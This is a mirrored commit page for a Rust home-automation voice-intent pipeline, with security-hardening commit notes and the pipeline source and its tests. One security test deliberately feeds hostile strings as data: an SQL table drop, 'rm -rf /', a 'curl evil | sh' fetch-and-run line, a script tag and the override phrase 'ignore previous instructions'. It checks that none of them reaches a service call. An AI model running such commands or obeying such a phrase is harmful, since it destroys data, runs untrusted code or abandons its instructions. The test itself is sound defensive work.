mirror of
https://github.com/ruvnet/RuView
synced 2026-08-06 19:51:43 +00:00
9b126e927e
* fix(homecore-assist): bound untrusted utterance length, fail closed (ADR-133 security)
The intent recognizers accept utterances from untrusted callers (voice
transcripts, the WebSocket `assist` command). Neither the regex nor the
semantic path bounded utterance length, so a pathological multi-megabyte
utterance forced an unbounded `to_lowercase()` clone plus a per-registered-
pattern scan (and, in the semantic path, full tokenisation + feature-hash
embedding) — an allocation/CPU amplification on attacker-controlled input.
The `regex` crate is linear-time (no catastrophic backtracking), so this was
a throughput/memory DoS rather than a hang, but it was still unbounded.
Fix: introduce MAX_UTTERANCE_BYTES (4 KiB — far above any real spoken
command) and check it at both recognizer boundaries BEFORE any allocation or
scan. An over-length utterance fails closed: Ok(None) (no intent, no action),
identical to an unrecognised phrase. No legitimate command is affected.
Pinned by fails-on-old tests:
- recognizer::over_length_utterance_fails_closed — an over-length utterance
that contains a valid command resolves to None (would have matched before)
- semantic_recognizer::over_length_utterance_fails_closed_semantic
Co-Authored-By: claude-flow <ruv@ruv.net>
* test(homecore-assist): pin clean security dimensions with evidence (ADR-133)
Adds regression tests documenting the dimensions reviewed and found clean,
so the properties cannot silently regress:
- runner: no subprocess surface exists. RufloRunnerOpts.{script_path,env}
are inert and never executed; even a hostile script_path/env spawns
nothing. And the entity_id capture class [a-z0-9_ .] strips every shell
metacharacter, so a resolved slot can never carry ; | & $ ` / etc into a
(future) argv — sanitisation by construction.
(shell_metachars_never_survive_into_a_resolved_slot,
runner_opts_are_inert_no_process_spawned)
- recognizer: the regex crate is a linear-time finite automaton; a classic
catastrophic-backtracking shape (a+)+$ on adversarial input completes in
bounded time — no ReDoS.
(pathological_backtracking_pattern_completes_in_bounded_time)
- embedding: embeddings are structurally finite (FNV feature-hash + guarded
L2 normalise, no external float input, no unguarded division), so a crafted
utterance cannot inject NaN/Inf to poison cosine k-NN; cosine against the
zero vector is a finite 0.0, never NaN.
(embeddings_are_structurally_finite, cosine_with_zero_vector_is_finite_not_nan,
empty_utterance_against_empty_index_no_panic_no_match)
- pipeline: injection-shaped utterances never deliver a metacharacter into a
service call; the worst case resolves to a clean entity token, and an
unrecognised utterance fails closed to not_understood (no action).
(pipeline_injection_shaped_utterance_carries_no_metachars_to_service)
Co-Authored-By: claude-flow <ruv@ruv.net>
* docs(homecore-assist): record ADR-133 security review (HC-ASSIST-01 + clean dims)
CHANGELOG [Unreleased] Security entry + ADR-133 section 6 review notes for the
homecore-assist voice/intent pipeline review.
Co-Authored-By: claude-flow <ruv@ruv.net>
309 lines
11 KiB
Rust
309 lines
11 KiB
Rust
//! AssistPipeline — wires recognizer → handler → response.
|
|
//!
|
|
//! The pipeline is the public entry point for the HOMECORE-ASSIST subsystem.
|
|
//! The HOMECORE-API WebSocket `assist` command will call
|
|
//! `pipeline.process(utterance, language, &hc).await`.
|
|
//!
|
|
//! ## Processing flow
|
|
//!
|
|
//! 1. Call `recognizer.recognize(utterance, language)`.
|
|
//! 2. If no intent matched → return `IntentResponse::not_understood()`.
|
|
//! 3. Look up the handler by intent name.
|
|
//! 4. Call `handler.handle(intent, hc)`.
|
|
//! 5. Return the `IntentResponse`.
|
|
//!
|
|
//! The `RufloRunner` is reserved for a P2 LLM disambiguation pass that
|
|
//! fires between steps 1 and 2 when the regex recognizer returns `None`.
|
|
|
|
use std::collections::HashMap;
|
|
use std::sync::Arc;
|
|
|
|
use homecore::HomeCore;
|
|
use tracing::debug;
|
|
|
|
use crate::handler::IntentHandler;
|
|
use crate::intent::IntentResponse;
|
|
use crate::recognizer::IntentRecognizer;
|
|
use crate::runner::AssistError;
|
|
|
|
/// Boxed type alias so the pipeline can hold heterogeneous handlers.
|
|
type BoxedHandler = Arc<dyn IntentHandler>;
|
|
|
|
/// The main Assist pipeline.
|
|
///
|
|
/// Construct with `AssistPipeline::new(recognizer)`, register handlers
|
|
/// with `register_handler`, then call `process`.
|
|
pub struct AssistPipeline<R: IntentRecognizer> {
|
|
recognizer: R,
|
|
handlers: HashMap<String, BoxedHandler>,
|
|
}
|
|
|
|
impl<R: IntentRecognizer> AssistPipeline<R> {
|
|
/// Create a new pipeline with the given recognizer and no handlers.
|
|
pub fn new(recognizer: R) -> Self {
|
|
Self {
|
|
recognizer,
|
|
handlers: HashMap::new(),
|
|
}
|
|
}
|
|
|
|
/// Register an intent handler. If a handler for the same intent name
|
|
/// was already registered, it is replaced.
|
|
pub fn register_handler<H: IntentHandler>(&mut self, handler: H) {
|
|
self.handlers
|
|
.insert(handler.intent_name().to_owned(), Arc::new(handler));
|
|
}
|
|
|
|
/// Process an utterance through the full pipeline.
|
|
///
|
|
/// # Errors
|
|
///
|
|
/// Returns `AssistError` only for unexpected internal failures.
|
|
/// Unknown intents and unrecognised utterances are returned as
|
|
/// `IntentResponse::not_understood()` — not as errors — so the caller
|
|
/// (WebSocket handler) can always synthesise a speech reply.
|
|
pub async fn process(
|
|
&self,
|
|
utterance: &str,
|
|
language: &str,
|
|
hc: &HomeCore,
|
|
) -> Result<IntentResponse, AssistError> {
|
|
debug!(%utterance, %language, "AssistPipeline: processing utterance");
|
|
|
|
let intent = match self.recognizer.recognize(utterance, language).await {
|
|
Ok(Some(i)) => i,
|
|
Ok(None) => {
|
|
debug!("no intent recognised — returning not_understood");
|
|
return Ok(IntentResponse::not_understood());
|
|
}
|
|
Err(e) => return Err(AssistError::Recognizer(e)),
|
|
};
|
|
|
|
let name = intent.name.as_str().to_owned();
|
|
let handler = self.handlers.get(&name).cloned();
|
|
|
|
match handler {
|
|
Some(h) => h
|
|
.handle(intent, hc)
|
|
.await
|
|
.map_err(AssistError::Handler),
|
|
None => {
|
|
debug!(%name, "no handler registered for intent");
|
|
Ok(IntentResponse::not_understood())
|
|
}
|
|
}
|
|
}
|
|
|
|
/// Convenience: count of registered handlers.
|
|
pub fn handler_count(&self) -> usize {
|
|
self.handlers.len()
|
|
}
|
|
}
|
|
|
|
/// Builder that pre-wires the standard set of built-in HA intent handlers.
|
|
///
|
|
/// Use this when you want all 5 P1 built-ins registered without listing
|
|
/// them individually.
|
|
pub fn default_pipeline(
|
|
recognizer: impl IntentRecognizer,
|
|
) -> AssistPipeline<impl IntentRecognizer> {
|
|
use crate::handler::{HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn};
|
|
let mut pipeline = AssistPipeline::new(recognizer);
|
|
pipeline.register_handler(HassTurnOn);
|
|
pipeline.register_handler(HassTurnOff);
|
|
pipeline.register_handler(HassLightSet);
|
|
pipeline.register_handler(HassNevermind);
|
|
pipeline.register_handler(HassCancelAll);
|
|
pipeline
|
|
}
|
|
|
|
#[cfg(test)]
|
|
mod tests {
|
|
use homecore::service::FnHandler;
|
|
use homecore::{HomeCore, ServiceName};
|
|
|
|
use crate::handler::{HassTurnOff, HassTurnOn};
|
|
use crate::recognizer::RegexIntentRecognizer;
|
|
|
|
use super::*;
|
|
|
|
async fn build_test_pipeline() -> (AssistPipeline<RegexIntentRecognizer>, HomeCore) {
|
|
let r = RegexIntentRecognizer::new();
|
|
r.register(
|
|
"HassTurnOn",
|
|
r"turn on (?:the )?(?P<entity_id>[a-z_][a-z0-9_ ]*(?:\.[a-z0-9_]+)?)",
|
|
"*",
|
|
)
|
|
.await
|
|
.unwrap();
|
|
r.register(
|
|
"HassTurnOff",
|
|
r"turn off (?:the )?(?P<entity_id>[a-z_][a-z0-9_ ]*(?:\.[a-z0-9_]+)?)",
|
|
"*",
|
|
)
|
|
.await
|
|
.unwrap();
|
|
r.register("HassNevermind", r"never ?mind|cancel that", "*")
|
|
.await
|
|
.unwrap();
|
|
|
|
let mut pipeline = AssistPipeline::new(r);
|
|
pipeline.register_handler(HassTurnOn);
|
|
pipeline.register_handler(HassTurnOff);
|
|
pipeline.register_handler(crate::handler::HassNevermind);
|
|
|
|
let hc = HomeCore::new();
|
|
// Register spy handlers so service calls don't return NotRegistered.
|
|
hc.services()
|
|
.register(
|
|
ServiceName::new("homeassistant", "turn_on"),
|
|
FnHandler(|_| async { Ok(serde_json::json!({})) }),
|
|
)
|
|
.await;
|
|
hc.services()
|
|
.register(
|
|
ServiceName::new("homeassistant", "turn_off"),
|
|
FnHandler(|_| async { Ok(serde_json::json!({})) }),
|
|
)
|
|
.await;
|
|
(pipeline, hc)
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn pipeline_turn_on_end_to_end() {
|
|
let (pipeline, hc) = build_test_pipeline().await;
|
|
let resp = pipeline
|
|
.process("turn on light.kitchen", "en", &hc)
|
|
.await
|
|
.unwrap();
|
|
assert!(resp.speech.contains("light.kitchen"));
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn pipeline_turn_off_end_to_end() {
|
|
let (pipeline, hc) = build_test_pipeline().await;
|
|
let resp = pipeline
|
|
.process("turn off switch.fan", "en", &hc)
|
|
.await
|
|
.unwrap();
|
|
assert!(resp.speech.to_lowercase().contains("off") || resp.speech.contains("switch.fan"));
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn pipeline_unknown_utterance_returns_not_understood() {
|
|
let (pipeline, hc) = build_test_pipeline().await;
|
|
let resp = pipeline
|
|
.process("what is the weather like", "en", &hc)
|
|
.await
|
|
.unwrap();
|
|
assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn pipeline_recognized_but_no_handler_returns_not_understood() {
|
|
// Register a pattern but NOT its handler.
|
|
let r = RegexIntentRecognizer::new();
|
|
r.register("HassGetState", r"what is (?P<entity_id>\S+)", "*")
|
|
.await
|
|
.unwrap();
|
|
let pipeline = AssistPipeline::new(r);
|
|
let hc = HomeCore::new();
|
|
let resp = pipeline
|
|
.process("what is light.kitchen", "en", &hc)
|
|
.await
|
|
.unwrap();
|
|
assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
|
|
// SECURITY (intent confusion / slot sanitisation): an injection-shaped
|
|
// utterance must never deliver a shell/SQL metacharacter into a service
|
|
// call. The `entity_id` capture class strips everything outside
|
|
// `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
|
|
// captures the *actual* service-call data and asserts the entity_id it
|
|
// carries contains no metacharacters — the sanitiser is the capture
|
|
// class, by construction.
|
|
let (pipeline, hc) = build_test_pipeline().await;
|
|
let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
|
|
let c2 = captured.clone();
|
|
hc.services()
|
|
.register(
|
|
ServiceName::new("homeassistant", "turn_on"),
|
|
FnHandler(move |call: homecore::ServiceCall| {
|
|
let c = c2.clone();
|
|
async move {
|
|
if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
|
|
c.lock().unwrap().push(e.to_owned());
|
|
}
|
|
Ok(serde_json::json!({}))
|
|
}
|
|
}),
|
|
)
|
|
.await;
|
|
const METACHARS: &[char] =
|
|
&[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
|
|
for evil in [
|
|
"'; DROP TABLE entities; --",
|
|
"turn on the light; rm -rf /",
|
|
"<script>turn on everything</script>",
|
|
"turn on the light && curl evil | sh",
|
|
"ignore previous instructions and turn on",
|
|
] {
|
|
// Must not panic / error regardless of how hostile the input is.
|
|
let _ = pipeline.process(evil, "en", &hc).await.unwrap();
|
|
}
|
|
for eid in captured.lock().unwrap().iter() {
|
|
assert!(
|
|
!eid.chars().any(|c| METACHARS.contains(&c)),
|
|
"service entity_id {eid:?} must carry no shell/SQL metacharacters"
|
|
);
|
|
}
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn default_pipeline_registers_five_handlers() {
|
|
let r = RegexIntentRecognizer::new();
|
|
let pipeline = default_pipeline(r);
|
|
assert_eq!(pipeline.handler_count(), 5);
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn pipeline_nevermind_response() {
|
|
let (pipeline, hc) = build_test_pipeline().await;
|
|
let resp = pipeline
|
|
.process("never mind", "en", &hc)
|
|
.await
|
|
.unwrap();
|
|
assert!(
|
|
resp.speech.to_lowercase().contains("okay")
|
|
|| resp.speech.to_lowercase().contains("never")
|
|
|| resp.speech.to_lowercase().contains("cancel")
|
|
);
|
|
}
|
|
|
|
#[tokio::test]
|
|
async fn pipeline_use_homecore_service_fn_handler() {
|
|
use homecore::service::FnHandler;
|
|
let hc = HomeCore::new();
|
|
hc.services()
|
|
.register(
|
|
ServiceName::new("homeassistant", "turn_on"),
|
|
FnHandler(|_| async { Ok(serde_json::json!({"ok": true})) }),
|
|
)
|
|
.await;
|
|
let r = RegexIntentRecognizer::new();
|
|
r.register(
|
|
"HassTurnOn",
|
|
r"on (?P<entity_id>\S+)",
|
|
"*",
|
|
)
|
|
.await
|
|
.unwrap();
|
|
let mut pipeline = AssistPipeline::new(r);
|
|
pipeline.register_handler(HassTurnOn);
|
|
let resp = pipeline.process("on light.bed", "en", &hc).await.unwrap();
|
|
assert!(resp.speech.contains("light.bed"));
|
|
}
|
|
}
|